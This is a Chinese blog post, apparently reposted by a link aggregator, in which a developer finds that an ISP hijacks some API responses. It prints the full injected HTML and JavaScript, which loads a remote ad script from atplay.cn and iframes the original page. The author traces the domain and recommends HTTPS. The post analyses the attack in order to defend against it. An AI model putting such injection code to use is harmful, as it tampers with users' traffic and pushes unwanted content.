23

运营商劫持狠起来,连Json都改

 4 years ago
source link: https://www.tuicool.com/articles/iUVzuuU
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

运营商劫持,是常见的流氓手段,它们老少通吃,连孩子都不放过,经常嚣张的在右下角或者网页头尾,弹出一些羞羞的广告。这让正在辅导孩子功课的妈妈,很难解释。

2u2eUjy.jpg!web

一、前言

一道经典面试题:当你输入一个网址后回车,实际会发生什么?

那得看输的啥网址,淘宝剁手、百度伤身、腾讯伤肾……

二、神秘的返回

那日风和日丽、万里无云,延迟退到不足50ms,是个散养爬虫的好日子~

与往常相同,一通风骚操作,数据便如百川入海般成功落库。刚想泡杯咖啡,瞧瞧久违的天空,一道绵长的报错信息就宛如拉稀般泼向屏幕!

草(一种植物),莫不是被发现了?赶紧看看

E3MvyyZ.jpg!web

草!(一种强大植物) 。这是个啥?原以为会返回异常状态码,或者错误json,再不济是伪数据,没想到连数据格式都改了,整了一HTML丢过来?

可这接口,明明都是json。

喝口白水想安抚下结果烫了嘴……思前想后。产品光喝酒不吃菜也不能下这需求,再说我这小蚊子不至于拿炮轰吧。

一定 有!——问!——题!

暴起捞日志,查看频率。大约10道请求有一道异常,于是顺手拿到全部HTML代码。让我们学习一下…

<html> 
  <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
    <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"> 
  </head> 
  <script> 
    window["$$$wins_pm"] = { 
        "a": "https://atplay.cn/banner/indexsd.aspx", 
        "m": "http://baidu.com/", 
        "_xus": "YBsOw1mgMPSOdBFpMBFjYBQjMZSjMBsXM3gO", 
        "_xai": "0" 
    }; 
 
    var xp=null,key="d=123",lo=location.href,ho=false; 
    function cu(u){ 
        var p=u.indexOf("?"); 
        if(p>0) 
            u=u.slice(0,p+1)+key+"&"+u.slice(p+1); 
        else 
            u+="?"+key; 
        return u; 
 
    } 
 
    function Base64() { 
        _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 
        this.encode = function(input) { 
            var output = ""; 
            var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 
            var i = 0; 
            input = _utf8_encode(input); 
            while (i < input.length) { 
                chr1 = input.charCodeAt(i++); 
                chr2 = input.charCodeAt(i++); 
                chr3 = input.charCodeAt(i++); 
                enc1 = chr1 >> 2; 
                enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 
                enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 
                enc4 = chr3 & 63; 
                if (isNaN(chr2)) { 
                    enc3 = enc4 = 64 
                } else if (isNaN(chr3)) { 
                    enc4 = 64 
                } 
                output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4) 
            } 
            return output 
        }; 
        this.decode = function(input) { 
            var output = ""; 
            var chr1, chr2, chr3; 
            var enc1, enc2, enc3, enc4; 
            var i = 0; 
            input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 
            while (i < input.length) { 
                enc1 = _keyStr.indexOf(input.charAt(i++)); 
                enc2 = _keyStr.indexOf(input.charAt(i++)); 
                enc3 = _keyStr.indexOf(input.charAt(i++)); 
                enc4 = _keyStr.indexOf(input.charAt(i++)); 
                chr1 = (enc1 << 2) | (enc2 >> 4); 
                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 
                chr3 = ((enc3 & 3) << 6) | enc4; 
                output = output + String.fromCharCode(chr1); 
                if (enc3 != 64) { 
                    output = output + String.fromCharCode(chr2) 
                } 
                if (enc4 != 64) { 
                    output = output + String.fromCharCode(chr3) 
                } 
            } 
            output = _utf8_decode(output); 
            return output 
        }; 
        _utf8_encode = function(string) { 
            string = string.replace(/\r\n/g, "\n"); 
            var utftext = ""; 
            for (var n = 0; n < string.length; n++) { 
                var c = string.charCodeAt(n); 
                if (c < 128) { 
                    utftext += String.fromCharCode(c) 
                } else if ((c > 127) && (c < 2048)) { 
                    utftext += String.fromCharCode((c >> 6) | 192); 
                    utftext += String.fromCharCode((c & 63) | 128) 
                } else { 
                    utftext += String.fromCharCode((c >> 12) | 224); 
                    utftext += String.fromCharCode(((c >> 6) & 63) | 128); 
                    utftext += String.fromCharCode((c & 63) | 128) 
                } 
            } 
            return utftext 
        }; 
        _utf8_decode = function(utftext) { 
            var string = ""; 
            var i = 0; 
            var c = c1 = c2 = 0; 
            while (i < utftext.length) { 
                c = utftext.charCodeAt(i); 
                if (c < 128) { 
                    string += String.fromCharCode(c); 
                    i++ 
                } else if ((c > 191) && (c < 224)) { 
                    c2 = utftext.charCodeAt(i + 1); 
                    string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 
                    i += 2 
                } else { 
                    c2 = utftext.charCodeAt(i + 1); 
                    c3 = utftext.charCodeAt(i + 2); 
                    string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 
                    i += 3 
                } 
            } 
            return string 
        } 
    } 
    window["__BASE64"] = new Base64(); 
 
    function getURLwithParams() { 
        var url = ""; 
        if ($$$wins_pm.a.indexOf('?') > 0) { 
            url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
        } else { 
            url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai; 
        } 
        return url; 
    } 
    function goURLm() { 
        var desturl = $$$wins_pm.m; 
        if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1); 
        return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>" 
    }; 
    </script> 
  <body style="margin:0;padding:0;"> 
    <!--<div style="display: none;"><script src="https://s6.cnzz.com/z_stat.php?id=722749&web_id=722749" language="JavaScript"></script></div>--> 
    <script type="text/javascript" src="https://atplay.cn/banner/indexsd.js"></script> 
    <div style="width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow-y:scroll;"> 
    <iframe id='ifrmain' src='JavaScript:parent.goURLm()' scrolling=auto  width='100%'  height='100%' frameborder='no' onload=''></iframe> 
    </div> 
</body> 
</html> 

三、真相大白

淦!真相大白,这糟烂的代码绝不是爬虫的菜,连地沟油都算不上啊!看这尿性八成是宽带运营商的手笔,之前访问个baidu都被套个iframe。但咱是万万没想到啊,这次饥不择食的连json接口都不放过,还改的这么大,粗,硬!

这就相当于刚出机场想打车到景点,结果上的是一黑车啊,拉着吃饭桑拿大宝剑,掏空钱包就拍地上!

既然确定是黑车,那索性就顺势调起这条傻鱼。先看看效果——

JbMjQvr.jpg!web

呵,呵呵,呵呵呵。。。。不出所料。

忍着膈应翻代码,找到域名,丢whois

EVNVjyR.jpg!web

拿到公司名,丢百度、天眼查,企查查。。。是它,是它没跑了

Zj6NVzy.jpg!web

四、结果?

这种手段,没有宽带运营商狼狈为奸,通常是无法完成的。目前家里一条X信,一条X动,经反复测试,只有X动线会出这个问题。。。那事情就很简单了

工!信!部!投!诉!

坐标:https://dxss.miit.gov.cn/

veuUNju.jpg!web

风波过去又是睛空万里,但这——恐怕永远不会是最后一次。

五、我的网站该怎么办?

你搞一下劫持,无可厚非,毕竟土壤就是这样。但是你写的这劫持bot也太傻了吧,连json格式都搞,让人家开公司的如何是好。要知道,现在很多服务,都没有网页端了,劫持程序该升下级了。

曾几何时,我们的网站,还都是http,这是劫持的最爱。应对的方式,就是全面升级为https,加大劫持难度,保护用户,也保护自己。

作者简介:小姐姐味道 (xjjdog),一个不允许程序员走弯路的公众号。聚焦基础架构和Linux。十年架构,日百亿流量,与你探讨高并发世界,给你不一样的味道。我的个人微信xjjdog0,欢迎添加好友,进一步交流。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK